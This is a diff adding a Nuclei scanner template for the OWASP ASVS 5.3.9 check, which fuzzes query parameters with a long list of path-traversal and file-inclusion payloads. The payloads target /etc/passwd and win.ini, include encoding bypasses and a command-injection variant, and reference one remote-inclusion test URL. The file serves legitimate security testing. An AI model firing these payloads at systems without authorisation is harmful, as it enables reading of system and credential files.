|
| 1 | +id: ASVS-4-0-3-V5-3-9 |
| 2 | + |
| 3 | +info: |
| 4 | + name: ASVS 5.3.9 Check |
| 5 | + author: AmirHossein Raeisi |
| 6 | + severity: high |
| 7 | + classification: |
| 8 | + cwe-id: CWE-829 |
| 9 | + reference: |
| 10 | + - https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion |
| 11 | + - https://snbig.github.io/Vulnerable-Pages/ASVS_5_3_9/ |
| 12 | + - https://github.com/projectdiscovery/nuclei-templates/tree/main/dast/vulnerabilities/lfi |
| 13 | + - https://snbig.github.io/Vulnerable-Pages/ASVS_12_3_3/ |
| 14 | + - https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion |
| 15 | + tags: asvs,5.3.9 |
| 16 | + description: | |
| 17 | + Verify that the application protects against Local File Inclusion (LFI) or Remote File Inclusion (RFI) attacks. |
| 18 | + metadata: |
| 19 | + max-request: 90 |
| 20 | + |
| 21 | +http: |
| 22 | + - pre-condition: |
| 23 | + - type: dsl |
| 24 | + dsl: |
| 25 | + - 'method == "GET"' |
| 26 | + |
| 27 | + payloads: |
| 28 | + LFI-RFI: |
| 29 | + # LFI (Linux) |
| 30 | + - '/etc/passwd' |
| 31 | + - '../etc/passwd' |
| 32 | + - '../../etc/passwd' |
| 33 | + - '../../../etc/passwd' |
| 34 | + - '/../../../../etc/passwd' |
| 35 | + - '../../../../../../../../../etc/passwd' |
| 36 | + - '../../../../../../../../etc/passwd' |
| 37 | + - '../../../../../../../etc/passwd' |
| 38 | + - '../../../../../../etc/passwd' |
| 39 | + - '../../../../../etc/passwd' |
| 40 | + - '../../../../etc/passwd' |
| 41 | + - '../../../etc/passwd' |
| 42 | + - '../../../etc/passwd%00' |
| 43 | + - '../../../../../../../../../../../../etc/passwd%00' |
| 44 | + - '../../../../../../../../../../../../etc/passwd' |
| 45 | + - '/../../../../../../../../../../etc/passwd^^' |
| 46 | + - '/../../../../../../../../../../etc/passwd' |
| 47 | + - '/./././././././././././etc/passwd' |
| 48 | + - '\..\..\..\..\..\..\..\..\..\..\etc\passwd' |
| 49 | + - '..\..\..\..\..\..\..\..\..\..\etc\passwd' |
| 50 | + - '/..\../..\../..\../..\../..\../..\../etc/passwd' |
| 51 | + - '.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd' |
| 52 | + - '\..\..\..\..\..\..\..\..\..\..\etc\passwd%00' |
| 53 | + - '..\..\..\..\..\..\..\..\..\..\etc\passwd%00' |
| 54 | + - '%252e%252e%252fetc%252fpasswd' |
| 55 | + - '%252e%252e%252fetc%252fpasswd%00' |
| 56 | + - '%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd' |
| 57 | + - '%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00' |
| 58 | + - '....//....//etc/passwd' |
| 59 | + - '..///////..////..//////etc/passwd' |
| 60 | + - '/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd' |
| 61 | + - '%0a/bin/cat%20/etc/passwd' |
| 62 | + - '%00/etc/passwd%00' |
| 63 | + - '%00../../../../../../etc/passwd' |
| 64 | + - '/../../../../../../../../../../../etc/passwd%00.jpg' |
| 65 | + - '/../../../../../../../../../../../etc/passwd%00.html' |
| 66 | + - '/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd' |
| 67 | + - '/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd' |
| 68 | + - '\\'/bin/cat%20/etc/passwd\\'' |
| 69 | + - '/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd' |
| 70 | + - '/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd' |
| 71 | + - '/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd' |
| 72 | + - '/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd' |
| 73 | + - '/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd' |
| 74 | + - '/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd' |
| 75 | + - '/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd' |
| 76 | + - '/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd' |
| 77 | + # LFI (Windows) |
| 78 | + - '\WINDOWS\win.ini' |
| 79 | + - '../../windows/win.ini' |
| 80 | + - '....//....//windows/win.ini' |
| 81 | + - '../../../../../windows/win.ini' |
| 82 | + - '/..///////..////..//////windows/win.ini' |
| 83 | + - '/../../../../../../../../../windows/win.ini' |
| 84 | + - './../../../../../../../../../../windows/win.ini' |
| 85 | + - '..%2f..%2f..%2f..%2fwindows/win.ini' |
| 86 | + - '\WINDOWS\win.ini%00' |
| 87 | + - '\WINNT\win.ini' |
| 88 | + - '\WINNT\win.ini%00' |
| 89 | + - 'windows/win.ini%00' |
| 90 | + - '/...\...\...\...\...\...\...\...\...\windows\win.ini' |
| 91 | + - '/.../.../.../.../.../.../.../.../.../windows/win.ini' |
| 92 | + - '/..../..../..../..../..../..../..../..../..../windows/win.ini' |
| 93 | + - '/....\....\....\....\....\....\....\....\....\windows\win.ini' |
| 94 | + - '\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\win.ini' |
| 95 | + - '/..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5cwindows/win.ini' |
| 96 | + - '/../../../../../../../../../../../../../../../../&location=Windows/win.ini' |
| 97 | + - '..%2f..%2f..%2f..%2f..%2fwindows/win.ini' |
| 98 | + - '..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini' |
| 99 | + - '/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini' |
| 100 | + - '/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini%00' |
| 101 | + - '..%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/windows/win.ini' |
| 102 | + - '..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini' |
| 103 | + - '/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./windows/win.ini' |
| 104 | + - '.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/windows/win.ini' |
| 105 | + - '/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../windows/win.ini' |
| 106 | + - '/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows/win.ini' |
| 107 | + - '/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini' |
| 108 | + - '%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cWindows%5cwin.ini' |
| 109 | + - '%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini' |
| 110 | + - '/%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2ewindows/win.ini/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/windows/win.ini' |
| 111 | + - '/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows\win.ini' |
| 112 | + - '..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini' |
| 113 | + - '/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini' |
| 114 | + - '%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini' |
| 115 | + - '%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwindows%5Cwin.ini' |
| 116 | + # RFI |
| 117 | + - "https://snbig.github.io/Vulnerable-Pages/ASVS_12_3_3/rfi.txt" |
| 118 | + fuzzing: |
| 119 | + - part: query |
| 120 | + type: replace # replaces existing parameter value with fuzz payload |
| 121 | + mode: multiple # replaces all parameters value with fuzz payload |
| 122 | + fuzz: |
| 123 | + - '{{LFI-RFI}}' |
| 124 | + |
| 125 | + stop-at-first-match: true |
| 126 | + matchers: |
| 127 | + - type: word |
| 128 | + part: body |
| 129 | + words: |
| 130 | + - "bit app support" |
| 131 | + - "fonts" |
| 132 | + - "extensions" |
| 133 | + condition: and |
| 134 | + |
| 135 | + - type: regex |
| 136 | + part: body |
| 137 | + regex: |
| 138 | + - 'root:.*:0:0:' |
| 139 | + |
| 140 | + - type: word |
| 141 | + part: body |
| 142 | + words: |
| 143 | + - "d5b82f27-b7a4-4c3e-8b6e-88fd9e97b16a" |
0 commit comments